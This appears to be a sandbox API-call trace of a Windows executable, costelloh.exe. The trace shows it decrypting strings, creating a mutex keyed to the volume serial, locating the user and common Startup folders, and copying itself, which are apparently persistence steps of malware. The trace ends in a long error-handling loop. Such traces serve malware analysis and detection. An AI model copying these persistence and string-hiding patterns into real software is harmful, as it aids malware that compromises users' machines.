	[0213.543] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd3fabc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd3fabc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0213.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811e8 | out: hHeap=0x680000) returned 1
	[0213.543] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x6811c0
	[0213.543] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fab0 | out: phKey=0xd3fab0*=0x139560) returned 1
	[0213.543] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3fa98, dwFlags=0x0) returned 1
	[0213.543] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fa64 | out: pbData=0x6811c0, pdwDataLen=0xd3fa64) returned 1
	[0213.543] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.543] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681208
	[0213.543] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0213.543] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0
	[0213.543] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0213.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0213.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681208 | out: hHeap=0x680000) returned 1
	[0213.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1371f5f, lpParameter=0xd3fb4c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x6811c0
	[0213.544] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa58, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fac0 | out: phKey=0xd3fac0*=0x139560) returned 1
	[0213.544] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3faa8, dwFlags=0x0) returned 1
	[0213.544] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fa74 | out: pbData=0x6811c0, pdwDataLen=0xd3fa74) returned 1
	[0213.544] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0213.544] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa98 | out: phKey=0xd3fa98*=0x139560) returned 1
	[0213.544] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3fa80, dwFlags=0x0) returned 1
	[0213.544] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xd3fa4c | out: pbData=0x681228, pdwDataLen=0xd3fa4c) returned 1
	[0213.544] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681278
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6812a0
	[0213.544] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa70 | out: phKey=0xd3fa70*=0x139560) returned 1
	[0213.544] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3fa58, dwFlags=0x0) returned 1
	[0213.544] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6812a0, pdwDataLen=0xd3fa24 | out: pbData=0x6812a0, pdwDataLen=0xd3fa24) returned 1
	[0213.544] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6812a0 | out: hHeap=0x680000) returned 1
	[0213.544] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x681250, nSize=0xf | out: lpDst="") returned 0x1e
	[0213.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681278 | out: hHeap=0x680000) returned 1
	[0213.544] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681250, Size=0x3a) returned 0x681250
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x3a) returned 0x681298
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6812e0
	[0213.544] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa6c | out: phKey=0xd3fa6c*=0x138e20) returned 1
	[0213.544] CryptSetKeyParam (hKey=0x138e20, dwParam=0x1, pbData=0xd3fa54, dwFlags=0x0) returned 1
	[0213.544] CryptDecrypt (in: hKey=0x138e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6812e0, pdwDataLen=0xd3fa20 | out: pbData=0x6812e0, pdwDataLen=0xd3fa20) returned 1
	[0213.544] CryptDestroyKey (hKey=0x138e20) returned 1
	[0213.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6812e0 | out: hHeap=0x680000) returned 1
	[0213.544] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x681250, nSize=0x1d | out: lpDst="") returned 0x1e
	[0213.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681298 | out: hHeap=0x680000) returned 1
	[0213.544] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681250, Size=0x72) returned 0x681250
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x72) returned 0x6812d0
	[0213.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681350
	[0213.544] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa6c | out: phKey=0xd3fa6c*=0x1393a0) returned 1
	[0213.545] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3fa54, dwFlags=0x0) returned 1
	[0213.545] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681350, pdwDataLen=0xd3fa20 | out: pbData=0x681350, pdwDataLen=0xd3fa20) returned 1
	[0213.545] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681350 | out: hHeap=0x680000) returned 1
	[0213.545] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x681250, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e
	[0213.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6812d0 | out: hHeap=0x680000) returned 1
	[0213.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x6812d0
	[0213.545] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa94 | out: phKey=0xd3fa94*=0x1392a0) returned 1
	[0213.545] CryptSetKeyParam (hKey=0x1392a0, dwParam=0x1, pbData=0xd3fa7c, dwFlags=0x0) returned 1
	[0213.545] CryptDecrypt (in: hKey=0x1392a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6812d0, pdwDataLen=0xd3fa48 | out: pbData=0x6812d0, pdwDataLen=0xd3fa48) returned 1
	[0213.545] CryptDestroyKey (hKey=0x1392a0) returned 1
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3e) returned 0x681318
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x3e) returned 0x681360
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6813a8
	[0213.545] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa6c | out: phKey=0xd3fa6c*=0x138fe0) returned 1
	[0213.545] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3fa54, dwFlags=0x0) returned 1
	[0213.545] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6813a8, pdwDataLen=0xd3fa20 | out: pbData=0x6813a8, pdwDataLen=0xd3fa20) returned 1
	[0213.545] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x10) returned 0x681228
	[0213.545] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9e8 | out: phkResult=0xd3f9e8*=0x220) returned 0x0
	[0213.545] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xd3f9e4, lpData=0x681360, lpcbData=0xd3f9ec*=0x3e | out: lpType=0xd3f9e4*=0x2, lpData=0x681360*=0xd0, lpcbData=0xd3f9ec*=0x98) returned 0xea
	[0213.545] RegCloseKey (hKey=0x220) returned 0x0
	[0213.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813a8 | out: hHeap=0x680000) returned 1
	[0213.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681360 | out: hHeap=0x680000) returned 1
	[0213.545] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681318, Size=0x7a) returned 0x681318
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x7a) returned 0x6813a0
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681428
	[0213.545] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa68 | out: phKey=0xd3fa68*=0x1393a0) returned 1
	[0213.545] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3fa50, dwFlags=0x0) returned 1
	[0213.545] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681428, pdwDataLen=0xd3fa1c | out: pbData=0x681428, pdwDataLen=0xd3fa1c) returned 1
	[0213.545] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x10) returned 0x681228
	[0213.545] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9e4 | out: phkResult=0xd3f9e4*=0x220) returned 0x0
	[0213.546] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xd3f9e0, lpData=0x6813a0, lpcbData=0xd3f9e8*=0x7a | out: lpType=0xd3f9e0*=0x2, lpData=0x6813a0*=0xd0, lpcbData=0xd3f9e8*=0x98) returned 0xea
	[0213.546] RegCloseKey (hKey=0x220) returned 0x0
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681428 | out: hHeap=0x680000) returned 1
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813a0 | out: hHeap=0x680000) returned 1
	[0213.546] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681318, Size=0xf2) returned 0x681318
	[0213.546] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xf2) returned 0x681418
	[0213.546] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6852d0
	[0213.546] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa68 | out: phKey=0xd3fa68*=0x1392a0) returned 1
	[0213.546] CryptSetKeyParam (hKey=0x1392a0, dwParam=0x1, pbData=0xd3fa50, dwFlags=0x0) returned 1
	[0213.546] CryptDecrypt (in: hKey=0x1392a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6852d0, pdwDataLen=0xd3fa1c | out: pbData=0x6852d0, pdwDataLen=0xd3fa1c) returned 1
	[0213.546] CryptDestroyKey (hKey=0x1392a0) returned 1
	[0213.546] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x10) returned 0x681518
	[0213.546] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9e4 | out: phkResult=0xd3f9e4*=0x220) returned 0x0
	[0213.546] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xd3f9e0, lpData=0x681418, lpcbData=0xd3f9e8*=0xf2 | out: lpType=0xd3f9e0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xd3f9e8*=0x98) returned 0x0
	[0213.546] RegCloseKey (hKey=0x220) returned 0x0
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681518 | out: hHeap=0x680000) returned 1
	[0213.546] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681518
	[0213.546] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9e4 | out: phkResult=0xd3f9e4*=0x220) returned 0x0
	[0213.546] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xd3f9e0, lpData=0x6814b0, lpcbData=0xd3f9e8*=0x5a | out: lpType=0xd3f9e0*=0x0, lpData=0x6814b0*=0x73, lpcbData=0xd3f9e8*=0x5a) returned 0x2
	[0213.546] RegCloseKey (hKey=0x220) returned 0x0
	[0213.546] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9f8 | out: phkResult=0xd3f9f8*=0x220) returned 0x0
	[0213.546] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xd3f9f4, lpData=0x6814b0, lpcbData=0xd3f9fc*=0x5a | out: lpType=0xd3f9f4*=0x2, lpData=0x6814b0*=0x73, lpcbData=0xd3f9fc*=0x78) returned 0xea
	[0213.546] RegCloseKey (hKey=0x220) returned 0x0
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681518 | out: hHeap=0x680000) returned 1
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6852d0 | out: hHeap=0x680000) returned 1
	[0213.546] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681418 | out: hHeap=0x680000) returned 1
	[0213.546] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681318, Size=0x1e2) returned 0x681318
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e2) returned 0x6852d0
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6854c0
	[0213.547] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa68 | out: phKey=0xd3fa68*=0x138fe0) returned 1
	[0213.547] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3fa50, dwFlags=0x0) returned 1
	[0213.547] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6854c0, pdwDataLen=0xd3fa1c | out: pbData=0x6854c0, pdwDataLen=0xd3fa1c) returned 1
	[0213.547] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x10) returned 0x681228
	[0213.547] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9e4 | out: phkResult=0xd3f9e4*=0x220) returned 0x0
	[0213.547] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xd3f9e0, lpData=0x6852d0, lpcbData=0xd3f9e8*=0x1e2 | out: lpType=0xd3f9e0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xd3f9e8*=0x98) returned 0x0
	[0213.547] RegCloseKey (hKey=0x220) returned 0x0
	[0213.547] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681228
	[0213.547] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9e4 | out: phkResult=0xd3f9e4*=0x220) returned 0x0
	[0213.547] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xd3f9e0, lpData=0x685368, lpcbData=0xd3f9e8*=0x14a | out: lpType=0xd3f9e0*=0x0, lpData=0x685368*=0xc0, lpcbData=0xd3f9e8*=0x14a) returned 0x2
	[0213.547] RegCloseKey (hKey=0x220) returned 0x0
	[0213.547] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xd3f9f8 | out: phkResult=0xd3f9f8*=0x220) returned 0x0
	[0213.547] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xd3f9f4, lpData=0x685368, lpcbData=0xd3f9fc*=0x14a | out: lpType=0xd3f9f4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xd3f9fc*=0x78) returned 0x0
	[0213.547] RegCloseKey (hKey=0x220) returned 0x0
	[0213.547] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.547] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6854c0 | out: hHeap=0x680000) returned 1
	[0213.547] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x681318, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b
	[0213.547] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6852d0 | out: hHeap=0x680000) returned 1
	[0213.547] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6812d0 | out: hHeap=0x680000) returned 1
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x6852d0
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x6854e8
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x685700
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x685918
	[0213.547] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6852d0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0213.547] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x685b30
	[0213.548] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x685b30, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0213.548] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685b30 | out: hHeap=0x680000) returned 1
	[0213.548] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x685b30
	[0213.548] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x685b30, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0213.548] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685b30 | out: hHeap=0x680000) returned 1
	[0213.548] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), bFailIfExists=0) returned 0
	[0213.549] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x118) returned 0x685b30
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.550] GetLastError () returned 0x20
	[0213.550] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.551] SetLastError (dwErrCode=0x20) 
	[0213.551] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.552] SetLastError (dwErrCode=0x20) 
	[0213.552] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.553] GetLastError () returned 0x20
	[0213.553] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.554] SetLastError (dwErrCode=0x20) 
	[0213.554] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
	[0213.555] GetLastError () returned 0x20
	[0213.555] SetLastError (dwErrCode=0x20) 
